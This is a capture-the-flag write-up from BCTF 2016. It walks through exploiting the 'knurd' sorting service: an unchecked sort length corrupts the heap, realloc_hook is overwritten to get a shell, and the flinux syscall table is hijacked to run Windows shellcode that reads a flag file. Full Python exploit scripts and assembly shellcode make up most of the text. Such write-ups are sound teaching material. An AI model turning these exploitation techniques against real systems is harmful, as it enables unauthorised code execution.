[BCTF 2016] Knurd – Linux/Windows Exploitation

The Plaid Parliament of Pwning participated in (and won) BCTF 2016, hosted by Tsinghua University. Here’s a writeup of one of the problems, which was to exploit a Linux binary. It was worth 400 points (a medium-hard problem).

We were given a vulnerable 32-bit x86 binary built for Linux called knurd, the libc binary, and the address of the server to exploit.

Solution Part 1 – Linux

knurd implements some kind of sorting service where you can create “sets” (lists of numbers), sort them, edit them, and query them.

The sort function lets you sort a prefix of the list by specifying a number. However, the program doesn’t check whether that number is actually in range of the list size! Therefore, you can just “sort” way past the end of the array, corrupting subsequent objects in the heap. Furthermore, this can be used to move integers into the current list to leak heap values and addresses.

Our basic plan of attack is to create three sets, foo, aaa and bbb in that order. Freeing aaa creates a hole in the heap; by using a particular size of allocation, free will write heap addresses (forward/backwards pointers) which we can leak.

We fill foo with 0xffffffff values, then sort way past the end. This pushes the 0xffffffff values to the end, where they will overwrite bbb‘s size field, causing bbb to have effectively infinite size. Combined with a leaked heap address, we get completely arbitrary read/write by querying/editing the bbb list.

At this point, I got a little worried, because this was fairly straightforward and yet the problem was 400 points with 0 solves. Maybe I did something wrong? But I pressed on anyway, and quickly got a shell by overwriting realloc_hook with system:

from rxpwn import *

s = Socket(('107.167.181.178', 29292)); remote=True

def send_obj(x):
    if isinstance(x, list):
        pr('*%d' % len(x))
        for i in x:
            send_obj(i)
    elif isinstance(x, str):
        pr('$%d' % len(x))
        pr(x)
    elif isinstance(x, (int, long)):
        x = x & ((1<<64)-1)
        pr(':%d' % uq(pQ(x)))

def recv_obj():
    c = rd(1)
    if c == '+':
        return rd('\n')[:-1]
    elif c == ':':
        return int(rd('\n').strip())
    elif c == '-':
        return 'e:' + rd('\n')[:-1]

# preallocate fastbins
send_obj(['A' * n for n in xrange(7, 119, 16)])

# make a set on the heap (large)
send_obj(['NEWSET', 'foo', [0xffffffff] * 64])
# two more sets to go at the end of the heap
send_obj(['NEWSET', 'aaa', [0x22222222] * 64])
send_obj(['NEWSET', 'bbb', [0x33333333] * 64])
# delete aaa to make a freed smallbin after foo
send_obj(['RMSET', 'aaa'])

# sort the set
# this also pushes 0xffffffff out to bbb's count
send_obj(['PSORT', 'foo', 160])

# dump the set
for i in xrange(64):
    send_obj(['RETR', 'foo', i])

for i in xrange(6):
    recv_obj()
heapleak = [recv_obj() for _ in xrange(64)]
heapbase = heapleak[10] - 0x80 # weird

log("heap base:", hex(heapbase))

bbb_addr = heapbase + 0x7e0
def bbboff(x):
    return ((x - bbb_addr) & 0xffffffff) >> 2

if remote:
    strtol = 0x2ff60
    system = 0x3aea0
    arena_offset = 0x1B67B0
    realloc_hook = 0x1B6764
else:
    strtol = 0x345c0
    system = 0x40190
    arena_offset = 0x1AA450
    realloc_hook = 0x1AA404

def read_chunk(addr, sz):
    addrs = xrange(addr, addr+sz, 4)
    for i in addrs:
        send_obj(['RETR', 'bbb', bbboff(i)])
    res = [recv_obj() for i in xrange(addr, addr+sz, 4)]
    return pI(*res)

libc_base = uI(read_chunk(heapbase + 0x88, 4)) - arena_offset
log("libc base:", hex(libc_base))

# read existing realloc hook?
curhook = uI(read_chunk(libc_base + realloc_hook, 4))
log("realloc hook:", hex(curhook))

# write system to realloc hook
send_obj(['INCR', 'bbb', bbboff(libc_base + realloc_hook), libc_base + system - curhook])

# trigger realloc
pr('+/bin/sh')

interactive()

That was easy! Just cat /home/ctf/flag and…

Thank you ${PLAYER_NAME_HERE}, but our princess is in another castle. Try to read D:\flag.txt.

C:\knurd\run_service.cmd might help you.

…what?! What are Windows paths doing in a Linux app? Oh no…

Solution Part 2 – Windows

uname tells us that we’re running “ForeignLinux”. Googling for that yields the flinux project, which is a Windows binary that uses dynamic binary translation to run Linux binaries on Windows without virtualization.

We copied over the contents of /c/knurd/ using base64. Unfortunately, we can’t just read /d/flag.txt – the D: drive wasn’t mounted in flinux. So, we will just have to exploit flinux itself.

flinux works by loading the Linux binary into memory at the usual addresses, but then dynamically translating every bit of code to replace system call instructions with “kernel” calls (i.e. calls into the flinux binary, where the various Linux system calls are implemented in terms of Win32 API calls).

In effect, after exploiting the knurd binary, we’re basically in “user mode” – we can’t directly call Win32 APIs because any syscall instructions we emit will get dynamically translated to Linux syscalls. Our goal is therefore to exploit the flinux “kernel”.

Luckily, this is actually really easy. There’s no memory protection that prevents “user” code from writing to “kernel” memory (since it’s really just a single process), so we can just write a function pointer into flinux’s syscall table using our arbitrary read/write (very similar to the way you get codeexec when doing Linux kernel exploitation). Triggering the syscall lets us execute code in “kernel mode” (i.e. without the dynamic binary translator in the way). As a nice added bonus, all memory segments in the Linux knurd binary are loaded “read | write | execute”, so we can just stash our shellcode anywhere.

Finally, all we need is little piece of Windows open-read-write shellcode to read the flag:

BITS 32
jmp push_pc
_start:
pop ebx ; address of datasect

    ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
    push 0 ; hTemplateFile
    push 0 ; dwFlagsAndAttributes
    push 3 ; dwCreationDisposition = OPEN_EXISTING
    push 0 ; lpSecurityAttributes
    push 1 ; dwShareMode = FILE_SHARE_READ
    push 0x80000000 ; dwDesiredAccess = GENERIC_READ
    lea ecx, [ebx+filename-datasect]
    push ecx
    mov esi, [CreateFileA]
    call esi

    ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
    push 0
    push 0
    push 0x80
    lea ecx, [ebx+flag_contents-datasect]
    push ecx
    push eax
    mov esi, [ReadFile]
    call esi

writeloop:
    ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle)
    mov esi, [GetStdHandle]
    push 0xFFFFFFF6         ; stdout
    call esi

    ; WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
    push 0
    push 0
    push 0x80
    lea ecx, [ebx+flag_contents-datasect]
    push ecx
    push eax
    mov esi, [WriteFile]
    call esi
jmp writeloop



push_pc:
call _start
datasect:

; imports
CreateFileA equ 0x4260B4
GetStdHandle equ 0x42605C
ReadFile equ 0x426118
WriteFile equ 0x42611C

filename: db "D:\\flag.txt", 0

banner: db "Hello, World!"
banner_len equ $-banner

flag_contents:

and a script to actually do the work:

from rxpwn import *

s = Socket(('107.167.181.178', 29292)); remote=True
#s = Socket(('172.16.113.128', 29292)); remote=False

import subprocess
subprocess.check_call(['nasm', 'shellcode.s'])
shellcode = open('shellcode', 'r').read()

def send_obj(x):
    if isinstance(x, list):
        pr('*%d' % len(x))
        for i in x:
            send_obj(i)
    elif isinstance(x, str):
        pr('$%d' % len(x))
        pr(x)
    elif isinstance(x, (int, long)):
        x = x & ((1<<64)-1)
        pr(':%d' % uq(pQ(x)))

def recv_obj():
    c = rd(1)
    if c == '+':
        return rd('\n')[:-1]
    elif c == ':':
        return int(rd('\n').strip())
    elif c == '-':
        return 'e:' + rd('\n')[:-1]

# preallocate fastbins
send_obj(['A' * n for n in xrange(7, 119, 16)])

# make a set on the heap (large)
send_obj(['NEWSET', 'foo', [0xffffffff] * 64])
# two more sets to go at the end of the heap
send_obj(['NEWSET', 'aaa', [0x22222222] * 64])
send_obj(['NEWSET', 'bbb', [0x33333333] * 64])
# delete aaa to make a freed smallbin after foo
send_obj(['RMSET', 'aaa'])

# sort the set
# this also pushes 0xffffffff out to bbb's count
send_obj(['PSORT', 'foo', 160])

# dump the set
for i in xrange(64):
    send_obj(['RETR', 'foo', i])

for i in xrange(6):
    recv_obj()
heapleak = [recv_obj() for _ in xrange(64)]
heapbase = heapleak[10] - 0x80 # weird

log("heap base:", hex(heapbase))

bbb_addr = heapbase + 0x7e0
def bbboff(x):
    return ((x - bbb_addr) & 0xffffffff) >> 2

strtol = 0x2ff60
system = 0x3aea0
arena_offset = 0x1B67B0
realloc_hook = 0x1B6764
mkdirat = 0xD8D40

def read_chunk(addr, sz):
    addrs = xrange(addr, addr+sz, 4)
    for i in addrs:
        send_obj(['RETR', 'bbb', bbboff(i)])
    res = [recv_obj() for i in xrange(addr, addr+sz, 4)]
    return pI(*res)

def write_chunk(addr, data):
    sz = len(data)
    if sz % 4:
        sz += 4 - (sz % 4)
    orig = read_chunk(addr, sz)
    new = data + orig[len(data):]
    for i in xrange(0, sz, 4):
        diff = uI(new[i:i+4]) - uI(orig[i:i+4])
        send_obj(['INCR', 'bbb', bbboff(addr + i), diff])
    for i in xrange(0, sz, 4):
        recv_obj()

cave = 0x804d100

# overwrite flinux kernel syscall table (mkdirat -> shellcode)
write_chunk(0x435C68 + 296*4, pI(cave))
write_chunk(cave, shellcode)

libc_base = uI(read_chunk(heapbase + 0x88, 4)) - arena_offset
log("libc base:", hex(libc_base))

# call "mkdirat" on realloc hook
write_chunk(libc_base + realloc_hook, pI(libc_base + mkdirat))

# trigger realloc
pr('+blah')

interactive()

Running pwn2.py finally gives us the flag: BCTF{we_drunk_again_here_is_your_princess_e7ae40c7}